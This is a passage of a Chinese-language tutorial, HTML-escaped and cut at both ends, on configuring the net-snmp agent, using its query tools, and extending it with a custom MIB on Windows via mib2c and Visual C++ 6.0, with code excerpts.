/&gt;net-snmp早先是在Unix平台下开发的。现可以移植到：&lt;br /&gt;&lt;br /&gt;* HP-UX (10.20 to 9.01 and 11.0)&lt;br /&gt;&lt;br /&gt;       * Ultrix (4.5 to 4.2)&lt;br /&gt;&lt;br /&gt;       * Solaris SPARC/ULTRA (2.8 to 2.3), Intel (2.9) and SunOS (4.1.4 to 4.1.2)&lt;br /&gt;&lt;br /&gt;       * OSF (4.0, 3.2)&lt;br /&gt;&lt;br /&gt;       * NetBSD (1.5alpha to 1.0)&lt;br /&gt;&lt;br /&gt;       * FreeBSD (4.1 to 2.2)&lt;br /&gt;&lt;br /&gt;       * BSDi (4.0.1 to 2.1)&lt;br /&gt;&lt;br /&gt;       * Linux (kernels 2.4 to 1.3)&lt;br /&gt;&lt;br /&gt;       * AIX (4.1.5, 3.2.5)&lt;br /&gt;&lt;br /&gt;       * OpenBSD (2.8, 2.6)&lt;br /&gt;&lt;br /&gt;       * Irix (6.5 to 5.1)&lt;br /&gt;&lt;br /&gt;       * OS X (10.1.1 and 10.1.2)&lt;br /&gt;&lt;br /&gt;       * Dynix/PTX 4.4&lt;br /&gt;&lt;br /&gt;       * QNX 6.2.1A&lt;br /&gt;&lt;br /&gt;* Windows&lt;br /&gt;&lt;br /&gt;等多个平台。Net-snmp是一个代理端软件，但也提供管理端的查询工具。安装有两种方式：一是直接安装的二进制包，二是需要编译的源代码。我们在windows平台上安装的二进制包，在虚拟Unix平台CygWin上编译安装的源代码。在CygWin中，按照常规的configure, make ,make install三个步骤就可成功编译安装源代码。在windows上的二进制包的安装就非常简单了，只需按提示就可完成。源代码和二进制包可从www.net-snmp.org网站下载，本文中所用的是net-snmp5.2.1.2的版本。之所以要先安装一个可运行的net-snmp系统，是因为我们开发程序运行环境的配置文件，是按照默认安装路径内部设定搜索的；另外，还可以利用其提供的配置工具来生成配置文件，利用提供的查询工具来测试程序。&lt;br /&gt;2.2         NET-SNMP代理的配置&lt;br /&gt;&lt;br /&gt;运行net-snmp之前先要进行环境设置，否则无法查询到结果。环境配置文件由snmpconf命令交互生成。运行snmpconf后，提示有三个配置文件：snmpd.conf，snmptraps.conf，snmp.conf。其中，snmpd.conf用来配置代理和管理端通信时的参数，只需设置两个参数就可正常运行程序了，一是community name，有只读rocommunity和读写rwcommunity之分，相当于访问账号，这里设rocommunity为public；另一个是访问端口，设为snmp协议默认的161端口。 Snmp.conf是与mib库设置相关的配置文件。Snmptraps.conf用来设置代理陷阱，本文没有讨论陷阱。配置文件可以放在三个地方，一是盘符根目录下，二是~\usr\etc\snmp目录下，三是~\usr\snmp\persist，按标准路径最好是第二种方式。&lt;br /&gt;&lt;br /&gt;另外，snmpconf和mib2c工具都是基于perl脚本的，在windows下需要安装perl才能运行。按照帮助文档的提示，下载ActivePerl安装。并按照帮助文档中perl的安装要求，下载在win32环境下所需的其他组件，配置并测试perl模块，使snmpconf和mib2c能正常运行。&lt;br /&gt;2.3         NET-SNMP工具的使用&lt;br /&gt;&lt;br /&gt;当环境设置好后，运行snmpd.exe，即snmp代理进程，就可以使用管理工具查询其中的信息了。Net-snmp提供的查询工具有很多，这里只介绍常用的几个，而且大部分查询命令的格式都大同小异。这里以.iso.org.dod.internet.mgmt.mib-2.system为例，其Oid为：.1.3.6.1.2.1.1。结构如下：&lt;br /&gt;&lt;br /&gt;   ………system                  .1.3.6.1.2.1.1&lt;br /&gt;&lt;br /&gt;            |――sysDescr        .1.3.6.1.2.1.1.1&lt;br /&gt;&lt;br /&gt;            |――sysObjectID     .1.3.6.1.2.1.1.2&lt;br /&gt;&lt;br /&gt;            ……&lt;br /&gt;&lt;br /&gt;1)  snmpget.exe――snmpget [OPTIONS] AGENT OID [OID]...用来查询叶子节点&lt;br /&gt;&lt;br /&gt;实例：snmpget �Cv2c �Cc public localhost .1.3.6.1.2.1.1.5.0&lt;br /&gt;&lt;br /&gt;-v2c：     使用的是2c的snmp版本，可选1|2c|3&lt;br /&gt;&lt;br /&gt;  -c public：community 名为public&lt;br /&gt;&lt;br /&gt;  localhost: 代理的地址，这里因为代理运行在本机上，所以可用localhost&lt;br /&gt;&lt;br /&gt;  .1.3…….0:这里查询的是.iso.org.dod.internet.mgmt.mib-2.system.sysName，其Oid为.1.3.6.1.2.1.1.5，使用这个命令使叶子节点要在后面加.0。&lt;br /&gt;&lt;br /&gt;2） snmpgetnext.exe――snmpgetnext [OPTIONS] AGENT OID [OID]...通过父节点查询叶子节点&lt;br /&gt;&lt;br /&gt;实例：snmpgetnext �Cv2c �Cc public localhost .1.3.6.1.2.1.1&lt;br /&gt;&lt;br /&gt;这个命令假设不知道叶子节点，但知道父节点，则可遍历到第一个叶子节点。此例结果等同于上一个例子。Oid也可输入.1.3.6.1.2，因为它是按字典顺序遍历的。&lt;br /&gt;&lt;br /&gt;3） snmptable.exe――snmptable [OPTIONS] AGENT TABLE-OID 用来查询表对象&lt;br /&gt;&lt;br /&gt;实例：snmptable �Cv2c �Cc public localhost .1.3.6.1.2.1.4.20&lt;br /&gt;&lt;br /&gt;这个命令查询表对象，本例中查询的是.iso.org.dod.internet.mgmt.mib-2.ip.ipAddrTable&lt;br /&gt;&lt;br /&gt;4）snmpset.exe――snmpset [OPTIONS] AGENT OID TYPE VALUE [OID TYPE VALUE]...修改数据&lt;br /&gt;&lt;br /&gt;   实例：snmpset �Cv2c �Cc public localhost .1.3.6.1.2.1.4.21.1.3.x i 99&lt;br /&gt;&lt;br /&gt;        x：在这里是索引值，表示表项中某一列的第几个数据,根据要求设定  &lt;br /&gt;&lt;br /&gt;        i: 这里是列数据类型，包括i: INTEGER, u: unsigned INTEGER, t: TIMETICKS,&lt;br /&gt;&lt;br /&gt;a: IPADDRESS o: OBJID, s: STRING, x: HEX STRING,&lt;br /&gt;&lt;br /&gt;d: DECIMAL STRING, b: BITS U: unsigned int64,&lt;br /&gt;&lt;br /&gt;I: signed int64, F: float, D: double&lt;br /&gt;&lt;br /&gt;5） mib2c 用来把mib库文件编译成.c和.h模版。具体使用在下面章节的应用中介绍&lt;br /&gt;3           扩展开发――代理&lt;br /&gt;&lt;br /&gt;当系统加入了新设备，或设备配置发生了变化等，需要实现新的mib模块，这时就需要扩展代理端了。在利用net-snmp做扩展之前的准备工作是，一下载源代码net-snmp5.2.1.2，二编译出库文件：netsnmpagent.lib、netsnmphelpers.lib、netsnmpmibs.lib、netsnmp.lib。这四个库的工程文件都位于~\net-snmp-5.2.1.2\win32\下对应的文件夹中。编译库文件时注意把netsnmp.lib放到最后编译，它可能会参考一下前面的编译文件。对于其他进一步的应用和开发请参考帮助文档编译和使用其他的工具；本文档中实现的代理程序，在源代码包中只需要引用这四个库文件。&lt;br /&gt;&lt;br /&gt;开发工具VC6.0的环境设置也需要注意，参考帮助文档readme.win32，设置好include目录，library目录。在project\configure的选项link的相关栏目中添加上四个库文件，还要加上wsock32.lib库。另外，在程序编译过程中会碰到与VC的默认库相冲突的地方，按提示在上述添加库的地方加上/NODEFAULTLIB:XXX.LIB来除去默认库。&lt;br /&gt;&lt;br /&gt;代理的开发过程基本上遵循：mib模块à转换成C文件à编译进代理中。&lt;br /&gt;3.1         NET-SNMP中的scalar对象和table对象&lt;br /&gt;&lt;br /&gt;mib模块一般都由变量和表组成。因此Net-snmp把SMI中的对象分为两大类：scalar和table。Scalar就包含我们常用的整型，字符串，时间等等数据类型。table就是scalar的一种集合，有一个和多个列组成，类似于数据库中的表。它必须具有索引项，用来按一定顺序检索表项。&lt;br /&gt;&lt;br /&gt;Mib2工具通过模版把mib文件解析成.c和.h文件，这些文件仅仅是半成品，还需要手工在相应地方添加相应代码。Mib2c有很多模版，可以根据相应需要来调用不同的模版。但mib2c目前不支持同时解析scalar和table 对象，对于具有这两种对象的mib模块，需要分别生成代码文件，然后再合并成整体。&lt;br /&gt;3.2         NET-SNMP扩展代理的两种方式&lt;br /&gt;&lt;br /&gt;用net-snmp扩展代理，实现方式可归结为两种：一是静态库方式，通过修改配置头文件，在相应地方包含新引入的mib模块的.c和.h文件，然后重新编译库文件和代理程序；二是编译动态共享库，只需把新引入的mib模块的.c和.h文件编译成动态库，通过设置能够让代理程序载入。&lt;br /&gt;&lt;br /&gt;对于第二种方式，一需要编译成.so动态共享库，二需要原代理程序是否包含dlmod或load命令，三还要看系统是否支持。一般情况下仅支持Unix平台。我们在CygWin下试验过Unix平台编译。在VC下的编译环境，基本上都是参考其makefile,configure等文件。&lt;br /&gt;&lt;br /&gt;因为是在windows平台下开发，本文档采用的是第一种方式。这种方式允许我们在原有mib库上添加新的mib模块，也可以只针对需要的mib模块编译单独的程序。&lt;br /&gt;&lt;br /&gt;源代码包中的代理程序工程文件位于~\ net-snmp-5.2.1.2\win32\snmpd下，因为它可移植到多个平台，主程序代码中有许多平台开关，和各种选项，非常庞大。为了简化开发和调试，我们使用了一个帮助文档中介绍的简化的代理端程序框架。这个框架非常精简，在性能上可能比原版差很多，但用来测试和开发mib库就比较高效了。程序的运行机制：程序启动，载入初始化mib模块，然后进入一个等待呼叫的无限循环，代码片段如下：&lt;br /&gt;&lt;br /&gt;… …&lt;br /&gt;&lt;br /&gt;init_MyMib();&lt;br /&gt;&lt;br /&gt;… …&lt;br /&gt;&lt;br /&gt;while(keep_running)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;                  /* if you use select(), see snmp_select_info() in snmp_api(3) */&lt;br /&gt;&lt;br /&gt;                  /*     --- OR ---  */&lt;br /&gt;&lt;br /&gt;                  agent_check_and_process(1); /* 0 == don&#39;t block */&lt;br /&gt;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;我们所要做的就是实现init_MyMib()函数，即自定义的mib模块。关于无限循环中的阻塞与否，根据mib模块而定。如果你的应用程序需要以非阻塞方式处理SNMP数据流，就使用一步接口（例如GUI、线程、forking等）。否则，只需要使用同步接口就可以了。在阻塞模式下，程序会占用大量cpu资源。具体实现，参见附录5.1。下面从mib库开始。&lt;br /&gt;3.3         自定义MIB&lt;br /&gt;&lt;br /&gt;这里我们定义了一个私人节点的MIB，位于节点.iso.org.dod.internet. private.enterprises.foxmail下，数字Oid为：.1.3.6.1.4.1.310。树型结构如下：&lt;br /&gt;&lt;br /&gt;                     foxmail                                    .1.3.6.1.4.1.310&lt;br /&gt;&lt;br /&gt;               |----SecondCounter                        .1.3.6.1.4.1.310.1&lt;br /&gt;&lt;br /&gt;               |----WeekTime                            .1.3.6.1.4.1.310.2&lt;br /&gt;&lt;br /&gt;               +----ExampleTable                        .1.3.6.1.4.1.310.3&lt;br /&gt;&lt;br /&gt;                         +----ExampleEntry              .1.3.6.1.4.1.310.3.1&lt;br /&gt;&lt;br /&gt;                                  |----UserIndex         .1.3.6.1.4.1.310.3.1.1&lt;br /&gt;&lt;br /&gt;                                  |----UserStatus         .1.3.6.1.4.1.310.3.1.2&lt;br /&gt;&lt;br /&gt;                                  |----CheckTime        .1.3.6.1.4.1.310.3.1.3&lt;br /&gt;&lt;br /&gt;                                  |----MonSet          .1.3.6.1.4.1.310.3.1.4&lt;br /&gt;&lt;br /&gt;在这个MIB中，定义了两个简单变量SecondCounter:整型，WeekTime:时间类型；还定义了一个表对象ExampleTable,其中UserIndex为索引：整型，UserStatus:字符串，CheckTime:时间类型，以上三个都是只读，MonSet为读写变量：整型。参见附录5.4&lt;br /&gt;3.4         自定义MIB――简单变量的实现&lt;br /&gt;&lt;br /&gt;把自定义的MIB命名为MyMib.txt,参照上面章节，放到net-snmp二进制安装路径~\usr\share\snmp\mibs下。配置snmp.conf文件，加入新的库MyMib.txt，语法为MIBS=+MyMib，这样才能让系统搜索到。然后在CMD提示符下输入：mib2c SecondCounter选择生成net-snmp版的代码。就会生成SecondCounter.c和SecondCounter.h文件，同样可以产生WeekTime.c和WeekTime.h文件。&lt;br /&gt;&lt;br /&gt;由模版生成的文件，不论是简单变量还是表对象，其整体结构都是固定模式。在模版头文件中对节点进行宏定义，函数声明。在模版实现文件中，分为两大块：一是初始化函数，主要用来对变量注册；二是响应函数，用来响应管理端的查询命令，响应函数的返回值，就是我们要手工实现的。我们所要做的工作就是把数据以一种合理的方式导入到其中。&lt;br /&gt;&lt;br /&gt;模版是针对单个变量来处理的：&lt;br /&gt;&lt;br /&gt;1）  初始化：&lt;br /&gt;&lt;br /&gt;init_SecondCounter(void)&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;    static oid SecondCounter_oid[] = { 1,3,6,1,4,1,310,1 };&lt;br /&gt;&lt;br /&gt;   DEBUGMSGTL((&quot;SecondCounter&quot;, &quot;Initializing\n&quot;));&lt;br /&gt;&lt;br /&gt;   netsnmp_register_scalar(netsnmp_create_handler_registration(&quot;SecondCounter&quot;, handle_SecondCounter, SecondCounter_oid, OID_LENGTH(SecondCounter_oid),HANDLER_CAN_RWRITE&lt;br /&gt;&lt;br /&gt;                               ));&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;如果有多个变量就要注册多次。&lt;br /&gt;&lt;br /&gt;2）  处理响应函数&lt;br /&gt;&lt;br /&gt;   handle_SecondCounter(netsnmp_mib_handler *handler,&lt;br /&gt;&lt;br /&gt;                          netsnmp_handler_registration *reginfo,&lt;br /&gt;&lt;br /&gt;                          netsnmp_agent_request_info   *reqinfo,&lt;br /&gt;&lt;br /&gt;                          netsnmp_request_info         *requests)&lt;br /&gt;&lt;br /&gt;其实现主要为：&lt;br /&gt;&lt;br /&gt;  switch(reqinfo-&gt;mode) {&lt;br /&gt;&lt;br /&gt;        case MODE_GET:&lt;br /&gt;&lt;br /&gt;            snmp_set_var_typed_value(requests-&gt;requestvb, ASN_INTEGER,&lt;br /&gt;&lt;br /&gt;                             (u_char *) /* XXX: a pointer to the scalar&#39;s data */,&lt;br /&gt;&lt;br /&gt;/* XXX: the length of the data in bytes */);&lt;br /&gt;&lt;br /&gt;如果有多个变量，就要简单重复switch语句，因为switch只提供了通信原语的选择，变量的选择依赖各自的处理句柄函数。&lt;br /&gt;&lt;br /&gt;显然这两套代码如果合并起来就显得冗余了，因为很多地方可以共用一套代码。在这里参考源代码包~\net-snmp-5.2.1.2\agent\mibgroup\examples下的example.c和example.h文件合并我们的MIB。&lt;br /&gt;&lt;br /&gt;主要实现方式是：&lt;br /&gt;&lt;br /&gt;1）通过一种变量数组，把MIB中的变量列举出来，代码片断如下：&lt;br /&gt;&lt;br /&gt;struct variable2 foxmail_variables[] =&lt;br /&gt;&lt;br /&gt;{   &lt;br /&gt;&lt;br /&gt;       {FoxmailINT,ASN_INTEGER,RONLY,var_foxmail,1,{1}},&lt;br /&gt;&lt;br /&gt;       {FoxmailTIMETICKS, ASN_TIMETICKS, RONLY, var_foxmail, 1, {2}}&lt;br /&gt;&lt;br /&gt;     /*… … …加入其他的变量… … … */&lt;br /&gt;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;结构体variable2的定义如下:&lt;br /&gt;&lt;br /&gt;struct variable2 {&lt;br /&gt;&lt;br /&gt;    u_char          magic;      /* passed to function as a hint */&lt;br /&gt;&lt;br /&gt;    u_char          type;       /* type of variable */&lt;br /&gt;&lt;br /&gt;    u_short         acl;        /* access control list for variable */&lt;br /&gt;&lt;br /&gt;    FindVarMethod  *findVar;    /* function that finds variable */&lt;br /&gt;&lt;br /&gt;    u_char          namelen;    /* length of name below */&lt;br /&gt;&lt;br /&gt;    oid             name[2];    /* object identifier of variable */&lt;br /&gt;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;通过上面代码，可以看出，数组对每个变量都一一说明了变量类型、节点位置、读写状态、实现函数等。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2） 然后再对变量数组进行注册初始化：&lt;br /&gt;&lt;br /&gt;REGISTER_MIB(&quot;foxmail&quot;, foxmail_variables, variable2, foxmail_variables_oid);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3）从数组可知实现函数为var_foxmail();其原型为：&lt;br /&gt;&lt;br /&gt;u_char * var_foxmail(struct variable *vp,&lt;br /&gt;&lt;br /&gt;                           oid * name,&lt;br /&gt;&lt;br /&gt;                            size_t * length,&lt;br /&gt;&lt;br /&gt;                           int exact, size_t * var_len, WriteMethod ** write_method)&lt;br /&gt;&lt;br /&gt;它通过一个switch语句来选择响应变量，代码片断如下：&lt;br /&gt;&lt;br /&gt;       switch (vp-&gt;magic) {&lt;br /&gt;&lt;br /&gt;    case FoxmailINT:      /*这里为数组中的索引值*/&lt;br /&gt;&lt;br /&gt;        long_ret=XXX;     /*XXX为返回值，这里可以用指针来引入内部或外部数据*/&lt;br /&gt;&lt;br /&gt;/* *write_method=write_foxmailINT  如果是可以set的变量，需调用写函数*/&lt;br /&gt;&lt;br /&gt;        return (u_char *) &amp; long_ret;&lt;br /&gt;&lt;br /&gt;    case FoxmailTIMETICKS:&lt;br /&gt;&lt;br /&gt;    … … …&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;总之，这种方法比较紧凑有效，完整代码参见附录5.2&lt;br /&gt;3.5         自定义MIB――表对象的实现&lt;br /&gt;&lt;br /&gt;为了更加有效的描述对象，引入表来把一系列相关的信息进行综合。因此表就由具有一个或多个变量的列组成。从实现方式和数据结构来看，表是一个结构体变量数组；从系统管理来看，就是数据库中的表单。从管理数据库的需求出发，就要求实现表单的插入、删除、恢复等基本功能，更高级的功能还应实现多个表的依赖关系、触发机制等。在底层实现上这些都要通过操纵结构体数组来完成。&lt;br /&gt;&lt;br /&gt;Mib2c提供了表的生成模版。其目的之一是可以降低对SNMP知识的要求，二是分离请求中对数据的定位和响应中对数据的处理，使得实现上集中在对数据的处理上。因此它产生的模版主要由三个部分组成：一是数据结构，对请求数据的构造；二是数据检索，对请求数据的定位；三是操纵数据，对请求数据进行GET或SET。&lt;br /&gt;&lt;br /&gt;不同的需求有不同的实现方式，mib2c根据表中导入数据的来源提供了两大类模版。&lt;br /&gt;&lt;br /&gt;其分类按照运行mib2c时的交互信息：一类为数据相对代理处于外部，适合于监视和操纵外部数据的MIB，如从操作系统或其他系统的接口提取信息；并且表中的行的创建销毁，通常都独立于SNMP代理。第二类是数据为代理所有，代理对数据的操纵直接反映到数据源。&lt;br /&gt;&lt;br /&gt;本文档只针对第一种类型实现表，且称之为外部方式。在mib2c进入外部方式，仍有三个模版，分别为：mib2c.iterate.conf，mib2c.iterate_access.conf，mib2c.mfd.conf；前两种方式基本一样，使用了helpers中一种叫iterator的API，特点是可以处理无序数据，但是效率较低，适合于小型数据存储，对内存、响应时间要求不是很严格的应用；后一种就很复杂了，它提供了更加细致的代码框架，通过多层交互，可以区分实时、半实时、永久型的数据，可以选择数据的存储方式，可以做列或表之间的依赖关系，数据结构的自动绑定或手工编辑，以及其他复杂的选项。我们只实现前两种较为简单的。&lt;br /&gt;3.5.1       mib.iterator.conf模版的实现&lt;br /&gt;&lt;br /&gt;首先，这个模版生成了Example.c和Example.h文件。在Example.c文件中包含下列函数和结构体，形参省略：&lt;br /&gt;&lt;br /&gt;struct  ExampleTable_entry；&lt;br /&gt;&lt;br /&gt;void  init_ExampleTable;&lt;br /&gt;&lt;br /&gt;void  initialize_table_ExampleTable;&lt;br /&gt;&lt;br /&gt;Netsnmp_Node_Handler  ExampleTable_handler;&lt;br /&gt;&lt;br /&gt;Netsnmp_First_Data_Point   ExampleTable_get_first_data_point;&lt;br /&gt;&lt;br /&gt;Netsnmp_Next_Data_Point   ExampleTable_get_next_data_point;&lt;br /&gt;&lt;br /&gt;struct ExampleTable_entry  *ExampleTable_createEntry；&lt;br /&gt;&lt;br /&gt;void  ExampleTable_removeEntry；&lt;br /&gt;&lt;br /&gt;实现过程我们按数据结构，数据检索，数据操纵来说明函数的调用和处理过程。&lt;br /&gt;&lt;br /&gt;1）  结构体：&lt;br /&gt;&lt;br /&gt;struct ExampleTable_entry {&lt;br /&gt;&lt;br /&gt;    /* Index values */                     /*这个结构体把exampleTable中的*/&lt;br /&gt;&lt;br /&gt;    long UserIndex;                      /*变量都列举，并指明了索引变量 */&lt;br /&gt;&lt;br /&gt;                                       /*并有一个生成链表的next指针  */&lt;br /&gt;&lt;br /&gt;    /* Column values */&lt;br /&gt;&lt;br /&gt;  /*  long UserIndex;*/                    /*去掉重复                     */&lt;br /&gt;&lt;br /&gt;    char UserStatus;&lt;br /&gt;&lt;br /&gt;    u_long CheckTime;&lt;br /&gt;&lt;br /&gt;    long MonSet;&lt;br /&gt;&lt;br /&gt;    long old_MonSet;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    /* Illustrate using a simple linked list */&lt;br /&gt;&lt;br /&gt;/*    int   valid;*/                        /*没有用到的变量             */&lt;br /&gt;&lt;br /&gt;    struct ExampleTable_entry *next;&lt;br /&gt;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;通过这个结构体，我们把从外部读入的数据做成一个链表，并把链表头地址传递给&lt;br /&gt;&lt;br /&gt;ExampleTable_get_first_data_point;&lt;br /&gt;&lt;br /&gt;ExampleTable_get_next_data_point;&lt;br /&gt;&lt;br /&gt;用这两个函数遍历链表。&lt;br /&gt;&lt;br /&gt;2）  数据的检索：&lt;br /&gt;&lt;br /&gt;数据的检索由ExampleTable_handler函数来完成，其原型为：&lt;br /&gt;&lt;br /&gt;int  ExampleTable_handler(&lt;br /&gt;&lt;br /&gt;    netsnmp_mib_handler               *handler,&lt;br /&gt;&lt;br /&gt;    netsnmp_handler_registration      *reginfo,&lt;br /&gt;&lt;br /&gt;    netsnmp_agent_request_info        *reqinfo,&lt;br /&gt;&lt;br /&gt;        netsnmp_request_info              *requests)&lt;br /&gt;&lt;br /&gt;检索过程通过一个循环包含的两个语句：&lt;br /&gt;&lt;br /&gt;for (request=requests; request; request=request-&gt;next) {&lt;br /&gt;&lt;br /&gt;   table_entry = (struct ExampleTable_entry *)              /*检索匹配表中的行*/&lt;br /&gt;&lt;br /&gt;              netsnmp_extract_iterator_context(request);&lt;br /&gt;&lt;br /&gt;table_info = netsnmp_extract_table_info(request);         /*检索匹配表中的列*/&lt;br /&gt;&lt;br /&gt;这样相当于通过行号和列号确定了数据。而上面的两个函数需要调用&lt;br /&gt;&lt;br /&gt;ExampleTable_get_first_data_point;&lt;br /&gt;&lt;br /&gt;ExampleTable_get_next_data_point;&lt;br /&gt;&lt;br /&gt;来遍历链表。&lt;br /&gt;&lt;br /&gt;3）  数据的操纵：&lt;br /&gt;&lt;br /&gt;数据的操纵涉及到对请求命令的响应，其代码片断如下：&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;switch (reqinfo-&gt;mode) {&lt;br /&gt;&lt;br /&gt;case MODE_GET:&lt;br /&gt;&lt;br /&gt;switch (table_info-&gt;colnum) {&lt;br /&gt;&lt;br /&gt;       case COLUMN_USERINDEX:&lt;br /&gt;&lt;br /&gt;              snmp_set_var_typed_value( request-&gt;requestvb, ASN_INTEGER,&lt;br /&gt;&lt;br /&gt;                                          table_entry-&gt;UserIndex,&lt;br /&gt;&lt;br /&gt;                                          sizeof(table_entry-&gt;UserIndex));&lt;br /&gt;&lt;br /&gt;       … … …             /*对于get命令，通过snmp_set_var_typed_value*/&lt;br /&gt;&lt;br /&gt;}                        /*返回变量值                                 */&lt;br /&gt;&lt;br /&gt;case MODE_SET_RESERVE1:          /*对于set命令，就涉及这六个步骤，这里省略了 */&lt;br /&gt;&lt;br /&gt;case MODE_SET_RESERVE2:          /*具体实现代码，我们所做的程序中，没有涉及表 */&lt;br /&gt;&lt;br /&gt;case MODE_SET_FREE:              /*中行的创建和删除，模版说明中认为，set 一个 */&lt;br /&gt;&lt;br /&gt;case MODE_SET_ACTION:            /*不存在的索引，就可以在表中为其创建一行     */&lt;br /&gt;&lt;br /&gt;case MODE_SET_UNDO:            &lt;br /&gt;&lt;br /&gt;case MODE_SET_COMMIT:         &lt;br /&gt;&lt;br /&gt;}                                /*代码已合并到mib.iterator_access.conf模版中*/&lt;br /&gt;&lt;br /&gt;关于表的set操作的流程图，如下图：&lt;br /&gt;&lt;br /&gt;图2.    SET的执行过程&lt;br /&gt;3.5.2       mib.iterator_access.conf模版的实现&lt;br /&gt;&lt;br /&gt;首先，这个模版生成了  ExampleTable.c&lt;br /&gt;&lt;br /&gt;ExampleTable.h&lt;br /&gt;&lt;br /&gt;ExampleTable_columns.h&lt;br /&gt;&lt;br /&gt;ExampleTable_enums.h&lt;br /&gt;&lt;br /&gt;ExampleTable_checkfns_local.h&lt;br /&gt;&lt;br /&gt;ExampleTable_checkfns_local.c&lt;br /&gt;&lt;br /&gt;ExampleTable_checkfns.h&lt;br /&gt;&lt;br /&gt;ExampleTable_checkfns.c&lt;br /&gt;&lt;br /&gt;ExampleTable_access.h&lt;br /&gt;&lt;br /&gt;ExampleTable_access.c&lt;br /&gt;&lt;br /&gt;这些文件实际上是对mib.iterator.conf模版功能的细化，提供更加完善方式的控制。只有部分需要修改，根据自定义的mib，只编辑了ExampleTable.c，ExampleTable_access.c等文件。&lt;br /&gt;&lt;br /&gt;它提供了get_XXX（）和set_XXX（）函数来完成数据的获取和设置，需要手工实现。数据的组织不再自动生成，可以自己以其他方式实现，但仍要能关联到遍历函数上。ExampleTable_checkfns_local.c，ExampleTable_checkfns.c文件都是对set的检查操作。在主体结构和运行过程上仍和mib.iterator.conf模版一样。参见附录5.3。&lt;br /&gt;3.6         代码的合并&lt;br /&gt;&lt;br /&gt;在实现整个mib时，只需把简单变量的初始化函数和表实现的初始化函数合并。在这里简单变量的初始化函数为：void init_foxmail。把表的初始化函数void initialize_table_ExampleTable放到init_foxmail内部 ，再将init_foxmail作为主函数的初始化函数，修改相关头文件的引用，代码的简单合并就完成了。最后以主函数建立工程编译全部文件。&lt;br /&gt;3.7         配置和运行&lt;br /&gt;&lt;br /&gt;在主函数中，代理的初始化由三个语句顺序完成：&lt;br /&gt;&lt;br /&gt;init_agent(&quot;example-demon&quot;);  /*运行代理名*/&lt;br /&gt;&lt;br /&gt;init_foxmail();&lt;br /&gt;&lt;br /&gt;init_snmp(&quot;example-demon&quot;);  /*读入的配置文件名*/&lt;br /&gt;&lt;br /&gt;这里需要写一个名为example-demon.conf的配置文件，配置方式同介绍的snmpd.conf配置一样。然后放在安装目录~\usr\etc\snmp下。关闭防火墙，在命令提示符下运行该程序，然后用snmpget,snmpgetnext,snmptable,snmpset测试程序。&lt;br /&gt;4           开发中的问题与解决&lt;br /&gt;&lt;br /&gt;在开始拿到这个软件包时，并不知道从哪里下手，以前没接触过这么大的代码包，只是按照帮助中关于win32平台下的说明往下做，但在编译源代码包时，编译到代理程序时就进行不下去了，出现了很多全局变量的依赖错误，当时的判断是编译环境的设置问题。于是转到CygWin下，利用自带的makefile来编译整个代码，非常成功的编译并安装到CygWin中。我们试着在其中编译了几个例子以及自己写的几个程序，也成功的通过了。在例子中，提供了一个makefile文件，于是就观察其环境设置。在其gcc的编译中，用到了&lt;br /&gt;&lt;br /&gt;CFLAGS=-I. `net-snmp-config --cflags`&lt;br /&gt;&lt;br /&gt;BUILDLIBS=`net-snmp-config --libs`&lt;br /&gt;&lt;br /&gt;BUILDAGENTLIBS=`net-snmp-config --agent-libs`&lt;br /&gt;&lt;br /&gt;查找配置文件，发现这里面涉及到四个关键库（见前面环境设置章节），在VC中我都没有加上去。在VC中添加上去后，变量依赖问题大大减少，发现遗留的错误是由socket引起的。加上wsock32.lib后，在VC下就可以通过先前的程序了。&lt;br /&gt;&lt;br /&gt;但程序运行时有碰到了问题，查不到结果，或者程序崩溃。最后我们通过检查环境设置，对比文件，发现问题出在netsnmpagent.lib这个库上。在原有的基础上重编译这个库，新编译的库比原来大了几倍，也就是说库的编译存在一个先后顺序关系，可能这个库要引用到其他库，可能VC没那么智能，需要手工设置。解决这个问题后，后面碰到的基本上是编写程序本身的错误了。&lt;br /&gt;5           总结&lt;br /&gt;&lt;br /&gt;net-snmp是一个功能很强的软件，这个开源项目仍在不断前进中。我们所做的只使用了其中的一小部分功能，主要是学习了它的一个开发流程、简单的结构框架，以及工具的使用；另外也学习了snmp协议，了解了开发包应为用户隔离底层细节，提供应用接口给用户。Net-snmp的帮助文档并不适合新手入门，它的帮助都是针对功能写的，一般通过它的开发网站中的tutorials来编译几个例子逐渐了解其功能，再回头查看帮助说明。Net-snmp项目目前放在www.sourceforge.net，可以加入net-snmp的邮件列表寻求帮助。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6           附录&lt;br /&gt;6.1         主函数foxmail_new.c&lt;br /&gt;&lt;br /&gt;/*主函数：foxmail_new.c */&lt;br /&gt;&lt;br /&gt;#include &lt;net-snmp/net-snmp-config.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;net-snmp/net-snmp-includes.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;net-snmp/agent/net-snmp-agent-includes.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;signal.h&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#include &quot;Display_time.h&quot;&lt;br /&gt;&lt;br /&gt;#include &quot;ExampleTable.h&quot;&lt;br /&gt;&lt;br /&gt;static int keep_running;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;RETSIGTYPE&lt;br /&gt;&lt;br /&gt;stop_server(int a) {&lt;br /&gt;&lt;br /&gt;    keep_running = 0;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int&lt;br /&gt;&lt;br /&gt;main (int argc, char **argv) {&lt;br /&gt;&lt;br /&gt;  int agentx_subagent=0; /* change this if you want to be a SNMP master agent */&lt;br /&gt;&lt;br 